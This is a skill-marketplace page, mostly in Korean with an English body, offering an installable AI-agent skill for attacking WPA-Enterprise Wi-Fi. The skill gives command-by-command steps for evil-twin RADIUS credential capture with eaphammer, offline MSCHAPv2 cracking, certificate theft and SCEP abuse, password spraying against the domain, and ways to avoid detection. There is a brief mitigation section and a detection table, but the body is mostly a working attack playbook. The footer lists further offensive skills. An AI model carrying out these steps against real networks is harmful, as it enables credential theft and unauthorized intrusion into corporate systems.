snailsploit/claude-red

offensive-wpa-enterprise

WPA/WPA2/WPA3-Enterprise (802.1X / EAP) attack methodology — EAP method identification (PEAP-MSCHAPv2, EAP-TTLS, EAP-TLS, EAP-GTC, EAP-PWD, EAP-FAST), evil-twin RADIUS attacks with eaphammer for credential capture, MSCHAPv2 challenge-response cracking, EAP-…

소스 보기

사용 방법

  1. 설치 명령을 복사하고 자신의 에이전트 환경에 설치하기 전에 소스 패키지를 확인하세요.
  2. 필요한 도구, 인증 정보, 지원 환경은 원본 문서에서 확인하세요.
  3. 입력과 원하는 산출물을 설명하고 출처와 결과를 대조하세요.
npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa-enterprise

시작 전 확인

  • 설치에는 모델 구독, API 한도, 파일 접근 권한이 포함되지 않습니다.
  • 별점 수와 설치 수는 활동 지표이며 독립적인 품질·보안 검증이 아닙니다.
원본 Skill 문서

원본 저장소의 제목, 예시, 코드, 표, 링크, 이미지를 유지해 표시합니다.

WPA-Enterprise (802.1X / EAP) Attacks

Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.

Quick Workflow

  1. Identify EAP method from beacons + initial EAP-Request/Identity
  2. If MSCHAPv2-based (PEAP, TTLS): rogue RADIUS to capture challenge-response
  3. If EAP-TLS: target the cert-issuance / cert-storage path (out of band)
  4. Crack captured MSCHAPv2 offline → AD username + password
  5. Pivot into the domain (see offensive-active-directory and offensive-network)

EAP Method Identification

bash
# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V

# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap
EAP TypeIdentifierCommon Inner
13EAP-TLSClient + server certs
17LEAP(legacy, weak)
21EAP-TTLSMSCHAPv2 / PAP / CHAP / GTC
25PEAPMSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco)
43EAP-FASTMSCHAPv2 (PAC-protected)
47EAP-PWD(Dragonblood-class research target)

Evil-Twin RADIUS (PEAP-MSCHAPv2 / TTLS-MSCHAPv2)

The most common attack path against corporate Wi-Fi.

bash
# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard                          # generate self-signed cert (first run)
eaphammer -i wlan0 \
  --essid CorpWiFi \
  --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap \
  --creds

When a client associates, eaphammer logs:

[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...

Crack offline:

bash
# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt

# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (crack.sh) for guaranteed crack at moderate cost.

Why Evil-Twin Works

The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:

  • The CA chain on the RADIUS server certificate (most BYOD configurations)
  • The CN / SAN of the RADIUS server certificate (often unenforced even with CA validation)

Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.

Mitigation defenders should use:

  • Push GPO requiring server cert validation
  • Pin trusted CA + RADIUS server CN explicitly
  • For BYOD, enrollment via SCEP/Intune that locks supplicant settings

Supplicant Validation Bypass

Windows

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...

Look at the deployed wireless profile XML. Critical fields:

xml
<ServerValidation>
  <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
  <ServerNames>radius.corp.local</ServerNames>
  <TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>

If ServerNames is missing or wildcard'd, evil-twin will succeed.

iOS / macOS / Android (BYOD)

Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.

EAP-TLS Targets

EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:

Cert Theft from User Profile

  • DPAPI master key + cert blob on Windows
  • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
  • Decrypt with DPAPI master key (requires user logon context or master key)
  • macOS Keychain (login keychain) — local user access
  • Android KeyStore — root + Frida hooks (see offensive-mobile)
  • iOS — Keychain item with appropriate access group entitlement

NDES / SCEP Misconfig

If the network uses SCEP for cert provisioning:

bash
# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
  -u http://ndes.corp.local/certsrv/mscep/mscep.dll \
  -l client.crt -E 3des -S sha1

AD CS Auto-Enrollment with Permissive ACL

Domain users with Enroll permission on a Client Authentication template can mint their own certs. See offensive-active-directory for ESC1-class attacks.

EAP-GTC

If GTC is offered (rare, often Cisco environments), the inner exchange is plain text. A successful evil-twin captures the password directly with no offline cracking needed. eaphammer captures GTC the same way as MSCHAPv2.

Post-Crack Pivot

A cracked MSCHAPv2 yields corp.local\jdoe : Password123!. From there:

bash
# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local

# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local

# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All

Hand off to the AD attack chain (offensive-active-directory, offensive-network).

Detection Considerations

SignalDefender View
Rogue RADIUS server ESSIDWIPS rule: AP impersonation by ESSID/BSSID delta
Repeated MSCHAPv2 failuresRADIUS log: increased auth failures from one supplicant
Cert mismatch failuresModern Windows endpoints log to Event Viewer (Wi-Fi 11005)
Captured user complaintUsers may report a "weird Wi-Fi prompt" — most don't

To minimize: match the legitimate AP's BSSID exactly (spoofed MAC), use a CA-signed cert that mimics the real RADIUS CN if you can obtain one, time the attack during known disruption windows (lunch / start of day) to blend with reconnections.

Engagement Cheatsheet

bash
# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"

# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds

# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response

# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist

# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>

# 6. Hand off to AD chain

Key References

  • eaphammer: github.com/s0lst1c3/eaphammer
  • asleap: willhackforsushi.com/asleap
  • crack.sh — NetNTLMv1 (MSCHAPv2) rainbow service
  • RFC 3748 (EAP), RFC 5216 (EAP-TLS), RFC 7170 (EAP-TEAP)
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

관련 작업

같은 저장소의 Skills

더 많은 Skills

모든 Skills
snailsploit
커뮤니티

offensive-anti-forensics

Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal

설치 수
1
GitHub Stars
7.6천
업데이트
10월 12일
snailsploit
커뮤니티

offensive-container-escape

Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAPSYSADMIN, CAPSYSPTRACE, and CAPNETADMIN, cgroup v1 notifyonrelease escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and hos

설치 수
1
GitHub Stars
7.6천
업데이트
10월 12일
snailsploit
커뮤니티

offensive-osint

Comprehensive OSINT methodology skill for offensive security, red team intelligence gathering, and bug bounty reconnaissance. Covers domain recon, email harvesting, social media profiling, GitHub/code leaks, Shodan/Censys enumeration, breach data lookup, employee profiling, infrastructure mapping, cryptocurrency tracing, geospatial intelligence, and AI-assisted analysis workflows. Use when performing reconnaissance against a target domain or organization, investigating a person or entity, tracin

설치 수
1
GitHub Stars
7.6천
업데이트
10월 12일
snailsploit
커뮤니티

offensive-persistence

Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques inclu

설치 수
1
GitHub Stars
7.6천
업데이트
10월 12일